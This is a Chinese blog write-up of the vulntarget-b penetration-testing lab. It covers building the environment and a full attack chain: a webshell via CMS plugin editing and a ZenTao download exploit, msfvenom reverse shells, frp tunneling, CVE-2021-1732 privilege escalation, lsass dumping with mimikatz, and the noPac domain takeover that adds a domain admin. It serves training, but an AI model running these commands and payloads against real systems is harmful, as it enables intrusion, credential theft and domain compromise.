前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >vulntarget漏洞靶场系列(二)— vulntarget-b

vulntarget漏洞靶场系列(二)— vulntarget-b

作者头像
乌鸦安全
发布2021-12-28 17:24:00
2.6K0
发布2021-12-28 17:24:00
举报
文章被收录于专栏:乌鸦安全乌鸦安全

阅读须知

星期五实验室的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息造成的直接或间接后果和损失,均由使用者本人负责。

星期五实验室拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他。

vuntarget免责声明

vulntarget靶场系列仅供安全专业人员练习渗透测试技术,此靶场所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用靶场中的技术资料对任何计算机系统进行入侵操作。利用此靶场所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

vulntarget靶场系列拥有对此靶场系列的的修改、删除和解释权限,未经授权,不得用于其他。

github地址:

代码语言:javascript
复制
https://github.com/crow821/vulntarget

00相关漏洞技术

极致cms相关漏洞、禅道cms相关漏洞、隧道代理、免杀、CVE-2021-1732 、CVE-2021-42287/CVE-2021-42278

下载地址:

百度云:

链接: https://pan.baidu.com/s/1Hdqkojmu-CeIuPr2gLWHwA

提取码:s4ka

01网络拓扑图

注意:下文打靶过程中,ip不一定一一对应!

02环境搭建过程

2.1 centos7

账号信息

两个账号:root/root,vulntarget/root

版本:uname -a

安装宝塔

代码语言:javascript
复制
yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh
代码语言:javascript
复制
==================================================================
外网面板地址: http://125.122.127.185:8888/045b2769
内网面板地址: http://10.30.7.70:8888/045b2769
username: rpngwb3l
password: b0db10cc
If you cannot access the panel,
release the following panel port [8888] in the security group
若无法访问面板,请检查防火墙/安全组是否有放行面板[8888]端口
==================================================================

登录宝塔,安装web服务

安装web

源码上传到宝塔,然后添加网站。环境为:nginx+mysql+php7.3

mysql账密:admin/EcfMrPrtTJGL2GjL

直接访问81端口开始安装web环境

填写账号密码信息,下一步

直接安装完成即可

首页信息

2.2 域控2016

域控搭建过程参考vulntarget-a,没做什么变化,该环境没做什么特别的配置,防火墙没关,wdf也没关,就添加了一个域成员账号。

账号信息

域:vulntarget.com

域控账号:administrator

域控密码:Admin@123

域成员账号:win101

域成员密码:admin#123

版本信息

所用镜像:cn_windows_server_2016_x64_dvd_9718765.iso

2.3 域成员win10

账号信息

本地账号:win10

密码:win10#123

管理员:administrator 密码:admin@123

域成员:vulntarget\win101,密码:admin#123

web后台::admin , 密码:Admin123

加入域

安全问题:全是win10

配置IP,设置DNS为域控的IP

加入域,输入域控账密即可

重启,以域成员身份登录,在域控已经创建了,win101

没有设计开机自启动,如果设计开机自动的话,拿下的权限就是system

杀软以及web(放弃)

安装个360安全卫士和360杀毒(虚拟机内网不杀,再见)

换个火绒(5.0)

使用phpstudy来安装,拿到的权限就是administrator的,所以换个IIS来安装web服务,下面phpstudy的安装直接启用。

使用phpstudy 2018来搭建web服务

修改web目录为:\ZenTaoPMS.12.4.2\zentaopms\www

重启phpstudy,访问127.0.0.1安装禅道OA

5.4.45需要使用到openssl扩展

选上

等待apache重启,刷新下就好了,继续,这里没有改phpstudy的数据库密码,默认是root/root

随便设置个公司名称,后台账密,先简单admin/admin,后面进入后台会有强制改密码的操作

修改密码为admin@123

默认保存就完成了

完成

ISS安装web服务

参考:https://www.baishitou.cn/2430.html

先下载三个文件,下载地址如下:

代码语言:javascript
复制
https://windows.php.net/downloads/releases/archives/php-5.4.45-nts-Win32-VC9-x86.zip
https://dev.mysql.com/get/Downloads/MySQL-5.5/mysql-5.5.62-winx64.msi
https://files.phpmyadmin.net/phpMyAdmin/4.4.12/phpMyAdmin-4.4.12-all-languages.7z

安装 ISS,在控制面板->程序和功能里面,选择启用活=或关闭windwos功能

勾选上CGI,点击确定,等待下载就行

在配置映射模块之前,需要先将刚才的php解压,修改php的配置文件php.ini-development,将其改名为php.ini,修改三个部分:

1.扩展目录:extension_dir,去掉前面的分号,目录修改为C:\inetpub\php\ext

2.时区date.timezone,修改为date.timezone = Asia/Shanghai

3.php扩展,将extension=php_前面的分号全部去掉

保存好

以管理员权限打开,选择新建站点。

配置模块映射

添加模块映射

添加默认文档,将index.php加上。

接下来安装mysql数据库,按照文章中给的指导装就行,除了目录之类的,基本上就是默认安装 (https://www.baishitou.cn/2430.html),这里账密设置为root/root

安装禅道OA系统,访问127.0.0.1:8080

默认下一步,需要设置可写权限

对应去修改权限即可,右键目录,属性,安全,编辑,其他的目录也一样,最后一个为session_save_path,需要修改php.ini文件,然后给一个目录为可写权限,这是为上面的C:\inetpub\zentao\zentaopms\tmp即可(可能需要重启主机,如果重启iis服务不行的话)。

php.ini

当全部满足时,继续下一步

数据库,密码为root

按照直接新建一个文件,保存

保存之后,下一步,设置公司名称。

删除文件

第一次进入后台需要修改密码为强密码,修改为Admin123

2.4 网络配置

centos7

桥接模式,内外网均设置为静态IP

内网IP为:10.0.20.33

外网IP为:10.30.7.70(根据实际情况修改)

配置文件在:/etc/sysconfig/network-scripts/

ifcfg-ens33(外网,根据自身网络进行修改)

代码语言:javascript
复制
TYPE=Ethernet
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=static
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes
IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=ens33
UUID=0cc7b380-1eb6-43ad-9c2e-a80190b4017e
DEVICE=ens33
ONBOOT=yes
IPADDR=10.30.7.70          //修改
NETMASK=255.255.248.0      //修改
GATEWAY=10.30.0.1         //修改
DNS1=8.8.8.8

ifcfg-ens37(内网,不需要变)

代码语言:javascript
复制
TYPE=Ethernet
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=static
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes
IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=ens37
DEVICE=ens37
ONBOOT=yes
IPADDR=10.0.20.33
NETMASK=255.255.255.0

域成员win10

同样使用两张网卡,第一张和centos通信,第二张和域控通信

ping centos7:

可以ping通。

ping win2016

域控win2016

ping win10,防火墙拦截

03

测试过程

拿到靶机,需要自行修改VM的网络信息,可以直接在虚拟网络编辑器里面加两个VM18和19的。

3.1 外网centos7

IP地址为:10.30.7.20(自行修改为攻击机可以访问的IP)

在/etc/sysconfig/network-script目录下,修改ifcfg-ens33这个文件

代码语言:javascript
复制
TYPE=Ethernet
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=static
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes
IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=ens33
UUID=0cc7b380-1eb6-43ad-9c2e-a80190b4017e
DEVICE=ens33
ONBOOT=yes
IPADDR=10.30.7.20          //修改
NETMASK=255.255.248.0      //修改
GATEWAY=10.30.0.1         //修改
DNS1=8.8.8.8

端口扫描

直接访问的话是宝塔的一个页面

扫描端口:nmap -v 10.30.7.70

访问81端口为极致的主页

后台getshell

极致历史漏洞中,有一个后台getshell

访问admin.php,admin/admin123登录到后台

进入后台之后,在扩展管理里面有一个插件列表,有在线编辑插件

直接下载,安装,配置

随便输入一个密码

再次输入密码就会看到源码,且可以修改

修改index.php,写入一句话目录

蚁剑连接即可

msf上线

蚁剑连接之后,想执行命令,发现直接ret=127,不能执行命令,宝塔禁用函数,直接使用蚁剑插件就可以bypass

查看IP,发现还存在另一个内网IP

msf生成一个反向目录

代码语言:javascript
复制
msfvenom -p linux/x64/meterpreter/reverse_tcp  lhost=10.30.7.77 LPORT=4444 -f elf > 4444.elf

msf监听

centos7提权

先添加路由

代码语言:javascript
复制
meterpreter > run post/multi/manage/autoroute

找可提取模块

代码语言:javascript
复制
meterpreter > run post/multi/recon/local_exploit_suggester

使用第二个模块:exploit/linux/local/sudo_baron_samedit

设置target为12,交互的

虽然攻击失败了(有机会成功),但是使用msf这个账号,密码为mbmjsjyshkyndln可以远程登录,且权限为root

重新使用msf这个账号运行4444.elf就可以弹回来root的shell

3.2 域成员win 10

得到外网shell之后,加路由,探测内网下一跳地址

使用模块:auxiliary/scanner/portscan/tcp

探测到同网段IP:10.0.20.66,8080端口开放

frp代理

msf代理在蚁剑的地方,上传大一点的文件经常会报错,所以使用frp代理稳定一点

在kali运行frps,frps.ini配置文件为

代码语言:javascript
复制
[common]
bind_ip = 10.30.7.77    //kali IP
bind_port = 7000

运行:./frps -c frps.ini

frpc上传到第一层centos,配置文件为

socks.ini

代码语言:javascript
复制
[common]
server_addr = 10.30.7.77
server_port = 7000

[socks_proxy]
type = tcp
remote_port =8888
plugin = socks5

后台getshell

代理frp流量访问8080端口,admin/Admin123进入后台

禅道OA 12.4.2 中,因为download中的downloadZipPackage函数过滤不严谨,可以使用ftp,HTTP协议绕过。

将木马写入到第一层的linux机器中

代码语言:javascript
复制
echo "<?php @eval(\$_REQUEST['x']); ?> " >1.php     //使用POST没有连接上蚁剑,具体可自行尝试

开启python的http服务

代码语言:javascript
复制
python -c 'import pty; pty.spawn("/bin/bash")'  //交互式
python -m SimpleHTTPServer 4567

使用Base64加密http链接

代码语言:javascript
复制
HTTP://10.0.20.33:4567/1.php


SFRUUDovLzEwLjAuMjAuMzM6NDU2Ny8xLnBocA==

访问 http://10.0.20.66:8080/client-download-1-SFRUUDovLzEwLjAuMjAuMzM6NDU2Ny8xLnBocA==-1.html

发现因为是IIS部署的直接解析文件,发现该html文件不存在

更换禅道后台另一种EXP,发现保存成功

http://10.0.20.66:8080/index.php?m=client&f=download&version=1&link=SFRUUDovLzEwLjAuMjAuMzM6NDU2Ny8xLnBocA==

访问,http://10.0.20.66:8080/data/client/1/1.php ,显示服务器错误

蚁剑可以连接,使用frp的代理

免杀火绒msf上线

本来想做的是免杀360的,结果内网360安全卫士和360杀毒在虚拟机里面没起到作用

直接使用工具就可以免杀火绒了

msf生成exe

代码语言:javascript
复制
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.20.33 lport=4758 -f exe > /root/msfshell/4758.exe

加壳

上线msf

上传文件到蚁剑,msf监听

代码语言:javascript
复制
msf6 auxiliary(server/socks_proxy) > use exploit/multi/handler 
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.0.20.33
lhost => 10.0.20.33
msf6 exploit(multi/handler) > set lport 4758
lport => 4758
msf6 exploit(multi/handler) > run

然后进行免杀 (此处免杀过程暂不提供)

运行的是免杀过的exe:

添加路由

代码语言:javascript
复制
meterpreter > run post/multi/manage/autoroute

拿到的权限是很低的IIS权限

win10提权

使用msf自带的提权模块建议找找

代码语言:javascript
复制
meterpreter > run post/multi/recon/local_exploit_suggester

网上搜索发现一个提权的模块(Microsoft Windows10 本地提权漏洞(CVE-2021-1732)),可能需要多尝试几次

代码语言:javascript
复制
exploit/windows/local/cve_2021_1732_win32k 


msf6 exploit(multi/handler) > use exploit/windows/local/cve_2021_1732_win32k 
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2021_1732_win32k) > set session 3
session => 3
msf6 exploit(windows/local/cve_2021_1732_win32k) > set lhost 10.0.20.33
lhost => 10.0.20.33
msf6 exploit(windows/local/cve_2021_1732_win32k) > set lport 5757
lport => 5757
msf6 exploit(windows/local/cve_2021_1732_win32k) > run

win10明文密码获取

加载kiwi获取密码失败,可以获取到域控的明文密码,但是本地的密码没有获取到

代码语言:javascript
复制
load kiwi
cred_all

需要想办法获取win101域成员的密码,然后使用最近爆出的域控提权(CVE-2021-42287/CVE-2021-42278 域内提权)

利用注册表和 procdump + mimikatz 来获取密码

1.修改注册表

代码语言:javascript
复制
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

修改注册表之后,修改了之后需要用户注销或者重新登陆之后才会生效。

2.上传procdump

先上传procdump文件到受害机,然后下载lsass文件

代码语言:javascript
复制
meterpreter > upload /root/tools/procdump64.exe    #上传文件

C:\inetpub\zentao\zentaopms\www\data\client\1>procdump64.exe -accepteula -ma lsass.exe  lsass.dmp     #获取数据

3.mimikatz读取密码

下载lsass.dmp到本地

代码语言:javascript
复制
meterpreter > download lsass.dmp

本地读取

代码语言:javascript
复制
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

在有system的权限下,可以到administrator目录下读取flag.txt

3.3 域控win2016

CVE-2021-42287/CVE-2021-42278

得到win101的密码之后,使用最近的爆出的域内提权拿下域控,先上传nopac.exe

代码语言:javascript
复制
meterpreter > upload /root/tools/noPac.exe

定位域控

代码语言:javascript
复制
meterpreter > run post/windows/gather/enum_domain

[!] SESSION may not be compatible with this module:
[!]  * missing Meterpreter features: stdapi_sys_process_set_term_size
[+] FOUND Domain: vulntarget
[+] FOUND Domain Controller: WIN-UH20PRD3EAO (IP: 10.0.10.100)
meterpreter >

得到域控IP及计算机名

获取票据

代码语言:javascript
复制
.\noPac.exe -domain vulntarget.com -user win101 -pass admin#123 /dc WIN-UH20PRD3EAO.vulntarget.com /mAccount test2 /mPassword admin@123 /service cifs /ptt

列域控目录

代码语言:javascript
复制
dir \\WIN-UH20PRD3EAO.vulntarget.com\c$

上传psexec,远程过去,不使用账密失败

添加一个域管账号

代码语言:javascript
复制
net user admin QWEasd@123 /add /domain
net group "Domain Admins" admin /add /domain

使用账密的psexec

代码语言:javascript
复制
PsExec64.exe \\10.0.10.100 -u  vulntarget\admin -p QWEasd@123 -s cmd.exe

连接不上

开启win10远程,登录试试,修改防火墙策略

代码语言:javascript
复制
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

开启远程

代码语言:javascript
复制
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

再次运行,可以连接上

代码语言:javascript
复制
PsExec64.exe \\10.0.10.100 -u vulntarget\admin -p QWEasd@123 -s cmd.exe

得到了域控本地的system权限,得到flag一枚

域控还有打印机漏洞,想测试的可以测试。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-12-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
访问管理
访问管理(Cloud Access Management,CAM)可以帮助您安全、便捷地管理对腾讯云服务和资源的访问。您可以使用CAM创建子用户、用户组和角色,并通过策略控制其访问范围。CAM支持用户和角色SSO能力,您可以根据具体管理场景针对性设置企业内用户和腾讯云的互通能力。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档